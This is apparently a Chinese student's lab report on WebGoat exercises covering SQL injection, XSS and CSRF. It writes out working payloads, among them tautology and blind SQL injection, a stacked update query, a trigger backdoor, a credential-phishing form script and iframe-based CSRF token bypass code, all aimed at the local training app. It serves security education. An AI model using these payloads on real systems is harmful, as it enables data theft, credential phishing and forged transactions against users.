基础问题回答

(1)SQL注入攻击原理,如何防御

  • 原理:

    程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者利用SQL命令欺骗服务器执行恶意的SQL命令,获得某些他想得知的数据。
  • 防御:

    就像我们上次做实验对网页登陆的账户做了密码长度的限制,可以限制输入的长度、检查输入变量的数据类型,限制特殊字符的输入,把用户输入的or, –,';等关键字和特殊字符都过滤了,大不了抛出异常而已呗…… 或者用语言内建的安全机制(比如说 JDBC 的PreparedStatement就可以很大程度的防止 SQL 注入)

(2)XSS攻击的原理,如何防御

  • 原理:

    XSS攻击全称跨站脚本攻击,也由于没有对用户输入数据的合法性进行判断,攻击者在网页上插入恶意代码,攻击用户。
  • 防御:

    与防御SQL注入一样,可以通过检查用户的输入字符串,并做出限制。

(3)CSRF攻击原理,如何防御

  • 原理:

    跨站请求伪造,攻击者通过伪造身份等方式来达到一些非法目的,以你的名义来发送恶意请求。
  • 防御:

    使用验证码,表单中附加随机值,以此来防止冒充。

环境配置

  • 去官网提供的GitHub上下载,那个速度是真的捉急,这里感谢下齐帅提供的

    WebGoat8.0

  • 我后面自己下的WebGoat7.1密码: 4327

  • 顺便附上自己在网上找到的

    WebGoat中文手册以及WebGoat用户指南

  • 下载好后,使用命令:java -jar webgoat-server-8.0.0.M14.jar运行WebGoat

  • 然后在浏览器中打开http://localhost:8080/WebGoat进入登录界面:

  • 这里我的一开始一直显示 Firefox can’t establish a connection to the server at localhost:8080.

  • 一开始以为是8080端口被占用了,利用netstat -tupln |grep 8080发现没有被占用,然后去从新看了下安装教程,怀疑是JDK的问题.

  • 这里贴上一个自己安装JDK的教程,安装完后成功打开。

  • 首先,去官方网站下载JDK1.8对应的版本

    JDK

  • 将下载好的JDK包提取出来,解压出来文件夹名为 jdk1.8.0_172

    开始拷贝目录 手动安装 (注意文件夹名根据自己的实际情况来设定)

 sudo mkdir -p /usr/local/java
cp -r jdk1.8.0_172/ /usr/local/java/
  • 如图

  • 接下来配置JDK的环境变量
sudo gedit /etc/profile
  • 复制以下内容追加到文件末尾(注意文件夹名根据自己的实际情况来设定)
JAVA_HOME=/usr/local/java/jdk1.8.0_172
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
  • 如图:

  • 告诉系统JDK的位置,最后2行代码不是重复,是要执行2次 。 (注意文件夹名根据自己的实际情况来设定)

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_172/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_172/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_172/bin/javaws" 1
  • 如图:

  • 设置新的JDK为默认,代码也是执行2次(注意文件夹名根据自己的实际情况来设定)

sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_172/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_172/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_172/bin/javaws
  • 如图:

  • 重载Profile文件

source /etc/profile
  • 输入命令查看Java版本号
java -version
  • 好了,至此,安装成功 !

  • 尝试访问WebGoat,成功!

  • 8.0的这里可以自己申请个账号,7.1的话有默认账号,用默认的就行。

  • 成功登陆:

  • 等开始做才做才发现,这是个大坑,由于WebGoat不同的版本课程都不一样,我在官网上下的是最新的8.0.0,网上找到的教程都是低版本的,高版本和低版本的操作完全不一样,只能参考着低版本再开着翻译做,但做完SQL之后WebGoat8便打不开了,可能是因为两个不共存的原因。

  • 这里我用7.1重新做了一遍

Injection Flaws

Numeric SQL Injection

  • 原理大概就是这里有一个SQL语句
SELECT * FROM weather_data WHERE station = [station]
  • 可以拦截报文将station字段后补充成一个永真式101 OR 1=1。

  • 但这里没有文本框让我们直接进行输入操作,只有一个滑动文本框让我们选择,这里提供一个简单的方法,不需要通过burp-suite,kali上自带的火狐开发人员工具调试,按F12或者右键审查元素打开。

  • 于是整个语句就变成了

SELECT * FROM weather_data WHERE station = 101 OR 1=1
  • 由于1=1恒成立,点击go,看到所有城市的天气,成功。

Log Spoofing

日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入

zh%0d%0aLogin Succeeded for username: admin
  • 其中%0d和%0a为CRLF换行符,看到的输出为

  • 第二行就是我们刚刚伪造出来的

XPATH Injection

  • 题干的意思大概是你的账号是Mike/test123。你的目标是尝试查看其他员工的数据。
  • 和上面一样,尝试构造永真式
yzh' or 1=1 or 'a'='a
  • 成功:

String SQL Injection

  • 字符注入,这里和前面数字注入的方法差不多,构造一个永真式,还是用的之前的'or 1='1
yzh' OR '1'='1
SELECT * FROM user_data WHERE last_name = 'yzh' OR '1'='1'
  • 成功:

LAB: SQL Injection

阶段1:String SQL Injection

  • 使用字符串SQL注入绕过认证,让我们可以登陆Boss(“Neville”)的账号。
  • 类似之前利用永真式想办法绕过验证,修改password=' or'1'='1,结果登陆失败,审查元素将最大长度maxlength改为50继续,成功~

阶段2:Parameterized Query #1

  • 这里需要WEBGOAT的开发者版本,先跳过了。

阶段3:Numeric SQL Injection

  • 绕过认证执行SQL注入,使登录Larry账户,但是能查看Boss的信息。
  • 还是和之前的想法一样,我们只需将employee_id参数修改为:101 or 1=1 order by salary desc

Database Backdoors

  • 利用SQL输入插入后门,首先是一个SQL注入点,可以通过数字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水

  • 在User ID输入框输入:101;update employee set salary = 65000 where userid=101; ,点击提交,如下图所示:

  • 使用SQL注入注入一个后门,下边这个后门好象是创建新用户的时候会自动修改邮箱为你的邮箱

101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid.
  • 点击提交,如下图所示:

Blind Numeric SQL Injection

  • 数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。
  • 使用盲注进行爆破,在“Enter your Account Number”输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
  • 根据返回的提示来判断
“(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000"
  • 为真或为假,逐步缩小范围,最后尝试用2364进行请求,返回成功,然后把2364输入表单,提交,如下图所示:

Blind String SQL Injection

  • 使用盲注进行爆破,在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
  • 根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:

Cross-Site Scripting (XSS)

Phishing with XSS

  • 使用XSS和HTML插入制作一个钓鱼网站,代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 成功:

LAB:Cross Site Scripting

  • 这里通过6个阶段系统的介绍了XSS。

  • Stage1-4这四个步骤Stage5-6主要是介绍了储存型XSS,而Stage5-6介绍了反射型的XSS,步骤如下:

阶段1:

  • 使用Tom登录,编辑用户信息,在Street字段输入以下代码:
<script>alert("20154327");</script>
  • 成功:



  • 阶段2、4、6需要开发者版本先调过了。

阶段3:执行一个先前的存储XSS攻击

  • 使用“David”登录,然后查看“Bruce”的信息,即可完成。

阶段5:执行一个反射XSS攻击

  • 在搜索员工页面使用脆弱性手工制造一个包含反射XSS攻击的URL。验证使用此链接的另一个用户被此攻击影响。
  • 以“Larry”登录,在“Search Staff”搜索框输入“”。

Stored XSS Attacks

  • 最典型的储存型XSS的例子——留言板
  • 因为可以输入任何信息,如果有人进行了恶意留言,那么之后的人便会中招。
  • 具体操作:
  • 在Title里输入“Test Stored XSS”,在 Message里输入
<script>alert("20154327yangzhenghui!");</script>
  • 如下图所示:

Reflected XSS Attacks

  • 当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。

CSRF

Cross Site Request Forgery(CSRF)

  • 实验目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。

  • 这里是一个储存型XSS和跨站请求伪造结合的示例,CSRF就是冒名登录,用代码伪造请求

  • 在Title输入:20154327,在Message输入:

<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
  • 点击“Submit”,在Message List下出现一条提交的记录,如下图所示:

CSRF Prompt By-Pass

  • 在Title输入:20154327;在Message输入:
<iframe
src="attack?Screen=280&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>
  • 如下图所示:



CSRF Token By-Pass

  • 在Title输入:20154327
  • 在Message输入构造的代码:
<script>
var tokensuffix; function readFrame1()
{
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[0];
tokensuffix = '&CSRFToken=' + form.CSRFToken.value; loadFrame2();
} function loadFrame2()
{
var testFrame = document.getElementById("frame2");
testFrame.src="attack?Screen=273&menu=900&transferFunds=5000" + tokensuffix;
}
</script> <iframe src="attack?Screen=273&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe> <iframe id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"></iframe>
  • 点击Submit,然后在Message List里点击“CSRF Token By-Pass Attack”,如下图所示:

实验总结与体会

  • 提交实验的时候发现,博客园居然也没有设防,下面是我上面钓鱼网站用的,直接就在下面显示出来了,有点恐怖啊兄弟。。。

  • 这次实验一开始下载是最新版的WebGoat8,做完第一部分SQL注入实验后,想尝试下WebGoat7.1的SQL注入加深自己的印象,于是去网上下载了WebGoat7.1进行实验,但返回来继续用8往下做的时候,WebGoat8便提示:There was an unexpected error. Please try again。便只能用7.1一路做下去,将7.1上关于SQL注入攻击、XSS攻击、CSRF攻击部分能做的全部做了一遍,加深自己的理解。






Enter Username:

Enter Password:


20154327 Exp9 Web安全基础的更多相关文章

  1. 20155208徐子涵《网络对抗》Exp9 Web安全基础

    20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...

  2. 20155312 张竞予 Exp9 Web安全基础

    Exp9 Web安全基础 目录 基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 实践过程记录 WebGoat准备工作 1.XSS攻 ...

  3. Exp9 Web安全基础

    Exp9 Web安全基础 20154305 齐帅 一.实验要求 本实践的目标理解常用网络攻击技术的基本原理. Webgoat实践下相关实验: [目录] [第一部分 WebGoat 8.0] 1.Web ...

  4. 20155205 郝博雅 Exp9 Web安全基础

    20155205 郝博雅 Exp9 Web安全基础 一.实验内容 一共做了13个题目. 1.WebGoat 输入java -jar webgoat-container-7.1-exec.jar 在浏览 ...

  5. 20155339 Exp9 Web安全基础

    Exp9 Web安全基础 基础问题回答 (1)SQL注入攻击原理,如何防御 原理:它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到 ...

  6. 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础

    2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...

  7. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  8. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  9. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

随机推荐

  1. 混淆矩阵(Confusion matrix)的原理及使用(scikit-learn 和 tensorflow)

    原理 在机器学习中, 混淆矩阵是一个误差矩阵, 常用来可视化地评估监督学习算法的性能. 混淆矩阵大小为 (n_classes, n_classes) 的方阵, 其中 n_classes 表示类的数量. ...

  2. Oracle EBS AP 已经完全付款的发票仍然可以选择并进行零金额的付款

    1>找出相应的发票; SELECT DISTINCT ai.invoice_id, ai.invoice_num invoice_num, pv.segment1 vendor_num, pv. ...

  3. asp.net使用一般处理程序实现文件下载

    首先有一个html页面,页面有一个链接,点击链接弹出文件下载/保存(类似迅雷下载链接) <!DOCTYPE html> <html> <head> <meta ...

  4. ActiveMq--消息队列

    ActiveMQ官网下载地址:http://activemq.apache.org/download.html ActiveMQ的目录: bin存放的是脚本文件 conf存放的是基本配置文件 data ...

  5. ORACLE DBA应该掌握的9个免费工具

      TOP1 : 录像机OS Watcher 如果说,作为一个Oracle维护工程师,你至少应该装一个工具在你维护的系统里,那么我首推这个.它就像银行自助取款机顶上的摄像头,默默的记录下你操作系统中的 ...

  6. linuxGame:文明5汉化

    此包来源苹果戏台的steam平台 参考网页: 1.https://tieba.baidu.com/p/4529797745 2.http://www.civclub.net/bbs/forum.php ...

  7. Linux seq命令详解

    seq: squeue  是一个序列的缩写,主要用来输出序列化的东西 seq常见命令参数 用法:seq [选项]... 尾数 或:seq [选项]... 首数 尾数 或:seq [选项]... 首数 ...

  8. 局域网不同网段访问设置WINS域名服务系统

    大背景 公司两台路由器,网段不同 路由器:192.168.0.1 路由器:192.168.1.1 路由器2需要访问路由器1的机子,初始是ping不通的. 方案 使用IP设置里WINS设置,即可轻松实现 ...

  9. layer的alert图

    layer.alert("xxx",1); 1 2 3 4 5 6 7 8 9 10 11   12 13 14 15 16 17 及以后

  10. Git 如何上传文件夹

    Github开源代码库以及版本控制系统,可以托管各种git库,并提供web访问界面.很多朋友喜欢喜欢将个人Blog或小型项目托管到github,这样既方便又简单. 下面介绍如何将本地文件上传到gith ...